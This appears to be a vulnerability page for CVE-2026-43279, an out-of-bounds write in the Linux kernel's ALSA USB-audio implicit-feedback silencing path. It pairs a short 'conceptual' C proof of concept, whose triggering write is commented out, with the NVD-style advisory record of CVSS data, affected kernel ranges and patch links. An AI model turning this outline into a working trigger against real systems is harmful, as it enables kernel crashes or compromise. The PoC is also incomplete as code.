CVE-2026-43279

/* * PoC for CVE-2026-43279 (Conceptual) * Trigger: Local user triggers playback on a USB audio device * with implicit feedback mode enabled. * Requires: Specific hardware configuration where capture packet size > playback buffer size. */ #include <alsa/asoundlib.h> #include <stdio.h> #include <stdlib.h> int main() { int err; snd_pcm_t *playback_handle; snd_pcm_hw_params_t *hw_params; // 1. Open the PCM device for playback if ((err = snd_pcm_open(&playback_handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0)) < 0) { fprintf(stderr, "Cannot open audio device: %s\n", snd_strerror(err)); exit(1); } // 2. Allocate hardware parameters object snd_pcm_hw_params_alloca(&hw_params); snd_pcm_hw_params_any(playback_handle, hw_params); // 3. Set parameters (Implicit feedback mode usually requires specific setup) // This attempts to set up a stream that might trigger the buffer mismatch. if ((err = snd_pcm_hw_params_set_access(playback_handle, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) { fprintf(stderr, "Cannot set access type: %s\n", snd_strerror(err)); exit(1); } if ((err = snd_pcm_hw_params_set_format(playback_handle, hw_params, SND_PCM_FORMAT_S16_LE)) < 0) { fprintf(stderr, "Cannot set sample format: %s\n", snd_strerror(err)); exit(1); } // 4. Write data to trigger the URB preparation path // If the kernel is vulnerable and hardware conditions are met, // prepare_silent_urb() may cause an OOB write. printf("Attempting to trigger stream...\n"); // snd_pcm_writei(playback_handle, buffer, frames); snd_pcm_close(playback_handle); return 0; }

{"cve": {"id": "CVE-2026-43279", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:49.350", "lastModified": "2026-05-08T19:02:38.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usb-audio: Add sanity check for OOB writes at silencing\n\nAt silencing the playback URB packets in the implicit fb mode before\nthe actual playback, we blindly assume that the received packets fit\nwith the buffer size. But when the setup in the capture stream\ndiffers from the playback stream (e.g. due to the USB core limitation\nof max packet size), such an inconsistency may lead to OOB writes to\nthe buffer, resulting in a crash.\n\nFor addressing it, add a sanity check of the transfer buffer size at\nprepare_silent_urb(), and stop the data copy if the received data\noverflows. Also, report back the transfer error properly from there,\ntoo.\n\nNote that this doesn't fix the root cause of the playback error\nitself, but this merely covers the kernel Oops."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5", "versionEndExcluding": "5.15.202", "matchCriteriaId": "1B3CF65E-D072-49FD-A99C-0159B48E8075"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6af16f1b8649df4c00d6ced924bdd8b72c885b6a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/780dc57794a217b49994fa1d0b42465fb10a00aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8995fc0e00b3fee9bf7ecb3d836b635b730c1049", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ccaf9296763be4f76b59e2cac377006016c34435", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fa01973bb79d70c4736b6a4b2de99fbb2cbc8d1f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fba2105a157fffcf19825e4eea498346738c9948", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fc9e5af60dc199051dc202ae78e1fe76a9977a5e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}